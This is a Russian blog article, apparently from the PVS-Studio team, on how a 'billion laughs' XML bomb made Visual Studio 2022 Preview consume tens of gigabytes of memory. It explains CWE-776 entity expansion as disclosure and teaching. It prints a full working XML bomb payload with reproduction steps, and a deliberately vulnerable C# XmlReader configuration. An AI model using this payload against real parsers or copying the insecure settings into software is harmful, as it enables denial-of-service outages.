Как Visual Studio 2022 съела 100 Гб памяти и при чём здесь XML бомбы?

от автора

0865_VS2022_XMLBomb_ru/image1.png

В апреле 2021 года Microsoft анонсировала новую версию своей IDE – Visual Studio 2022, попутно объявив, что она будет 64-битной. Сколько мы этого ждали — больше никаких ограничений по памяти в 4 Гб! Однако, как оказалось, есть нюансы…

Кстати, если вы пропустили, вот ссылка на тот пост с анонсом.

Но вернёмся к нашему вопросу из заголовка. Я воспроизвёл эту проблему на последней доступной на момент написания заметки версии Visual Studio 2022 Preview — 17.0.0 Preview 3.1.

Для воспроизведения достаточно:

  • создать проект пустого решения (шаблон Blank Solution);
  • добавить в него XML-файл.

После этого в созданный XML-файл нужно попробовать скопировать следующий текст:

<?xml version="1.0"?> <!DOCTYPE lolz [  <!ENTITY lol "lol">  <!ELEMENT lolz (#PCDATA)>  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">  <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">  <!ENTITY lol11     "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">  <!ENTITY lol12     "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">  <!ENTITY lol13     "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">  <!ENTITY lol14     "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">  <!ENTITY lol15     "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;"> ]> <lolz>&lol15;</lolz>

Теперь идём заваривать кофе, возвращаемся и наблюдаем за тем, как Visual Studio отжирает всё больше и больше ОЗУ.

0865_VS2022_XMLBomb_ru/image2.png

Могут возникнуть 2 вопроса:

  1. Зачем делать какие-то странные XML и добавлять их в проекты?
  2. Что здесь вообще происходит?

Что ж, давайте разбираться. Для этого нам нужно будет вспомнить, какие опасности может нести неаккуратная обработка XML-файлов, а также узнать, как со всем этим связан статический анализатор PVS-Studio.

SAST в PVS-Studio

Мы продолжаем активно развивать PVS-Studio как SAST решение. Если говорить про C# анализатор, то основной фокус по этому фронту – поддержка OWASP Top 10 2017 (последняя доступная на данный момент версия – с нетерпением ждём обновления). К слову, если вы пропустили, не так давно мы добавили taint анализ, о чём можно почитать здесь.

Собственно, для тестирования работы анализатора я и создал (точнее, попытался создать) соответствующий синтетический проект. Дело в том, что одна из категорий OWASP Top 10, над которой сейчас ведётся работа, – A4:2017-XML External Entities (XXE). Она затрагивает уязвимость приложений к различным атакам посредством неправильной обработки XML-файлов. Что подразумевается под неправильной обработкой? Например, излишнее доверие к входным данным (извечная проблема многих уязвимостей) и отсутствие должных ограничений в парсерах XML.

В итоге, если файлы окажутся скомпрометированы, это может вылиться в разные неприятные последствия. Здесь можно выделить 2 основные проблемы: раскрытие каких-то данных и отказ в обслуживании. Обе имеют соответствующие CWE:

CWE-611 оставим на другой раз, сегодня нас интересует CWE-776.

XML бомбы (billion laughs attack)

Я поясню только основную суть проблемы. Если у вас есть желание изучить проблему глубже – топик легко гуглится, не обессудьте.

Стандарт XML предусматривает использование DTD (document type definition). DTD даёт возможность использовать так называемые XML-сущности.

Синтаксис определения сущностей прост:

<!ENTITY myEntity "Entity value">

Получить значение сущности в дальнейшем можно следующим образом:

&myEntity;

Нюанс состоит в том, что сущности могут раскрываться не только в строки (как в нашем случае — «Entity value»), но и в последовательности других сущностей. Например:

<!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

В итоге при раскрытии сущности ‘lol1’ мы получим строку следующего вида:

lollollollollollollollollollol

Можно пойти дальше и определить сущность ‘lol2’, раскрыв её уже через ‘lol1’:

<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

Тогда при раскрытии одной лишь сущности ‘lol2’ мы получим следующий выхлоп:

lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollol

Погрузимся на уровень ниже и определим сущность ‘lol3’?

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

Выхлоп при её раскрытии:

lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol ....

Собственно, сгенерированный по такому принципу XML-файл мы и использовали в начале статьи. Думаю, теперь понятно, откуда название «billion laughs». Получается, что если XML-парсер настроен неправильно (обрабатывает DTD и не имеет ограничений на максимальный размер сущностей), то при обработке подобной ‘бомбы’ ничего хорошего не случится.

Если говорить про C#, уязвимый код проще всего продемонстрировать на примере типа XmlReader:

var pathToXmlBomb = @"D:\XMLBomb.xml"; XmlReaderSettings rs = new XmlReaderSettings() {   DtdProcessing = DtdProcessing.Parse,   MaxCharactersFromEntities = 0 };  using var reader = XmlReader.Create(File.OpenRead(pathToXmlBomb), rs); while (reader.Read()) {   if (reader.NodeType == XmlNodeType.Text)     Console.WriteLine(reader.Value); }

Сконфигурировав экземпляр XmlReader подобным образом, вы как бы говорите злоумышленнику этим кодом: «Давай, подорви меня!».

Причины две:

  • разрешена обработка DTD;
  • снято ограничение на максимальное количество символов из сущностей, то есть разрастание файла никак не ограничено.

По умолчанию, кстати, обработка DTD сущностей запрещена: свойство DtdProcessing имеет значение Prohibit, а на максимальное количество символов из сущностей стоит ограничение (начиная с .NET Framework 4.5.2). Так что в современном .NET всё меньше возможностей прострелить себе ногу. Хотя при неаккуратном конфигурировании парсеров это всё ещё возможно.

Возвращаясь к Visual Studio 2022

Похоже, что в Visual Studio 2022 при копировании нашей XML бомбы сработали как раз оба условия:

  • запустилась обработка DTD;
  • не стояло никаких ограничений, из-за чего объём потребляемой памяти пробил потолок.

Если посмотреть, что происходит в процессе в это время, можно найти подтверждение нашим предположениям.

0865_VS2022_XMLBomb_ru/image3.png

В списке потоков видно, что основной поток как раз обрабатывает XML. К слову, из-за этого повис весь GUI и IDE никак не реагировала на попытки потыкать её палочкой.

Если посмотреть call stack потока VS Main, можно увидеть, что он как раз занят обработкой DTD (исполняется метод ParseDtd).

0865_VS2022_XMLBomb_ru/image4.png

В ходе экспериментов у меня возник вопрос: а зачем Visual Studio вообще запускает процессинг DTD, почему просто не отображает XML как есть? Ответ пришёл в ходе экспериментов с ‘XML-бомбочкой’ (суть та же, но нагрузка поменьше).

Похоже, всё дело в том, чтобы отображать в редакторе «на лету» возможные значения сущностей.

0865_VS2022_XMLBomb_ru/image5.png

Небольшие значения обрабатываются успешно, но разрастание XML приводит к проблемам.

Конечно, такая проблема не могла обойтись без написания мной баг-репорта.

Заключение

Вот так неожиданным образом удалось посмотреть, как на практике могут выглядеть уязвимости к XML-бомбам. Самое интересное, что удалось пощупать это не на каком-то абстрактном примере, а на вполне знакомом и популярном приложении.

Мы планируем добавить поиск кода, уязвимого к проблемам обработки XML-файлов, в PVS-Studio 7.15. Если же интересно посмотреть, что анализатор умеет уже сейчас, предлагаю загрузить его и попробовать на своих проектах. 😉

Как всегда, приглашаю подписываться на мой Twitter, чтобы не пропустить ничего интересного.

Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. How Visual Studio 2022 ate up 100 GB of memory and what XML bombs had to do with it.


ссылка на оригинал статьи https://habr.com/ru/articles/576736/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *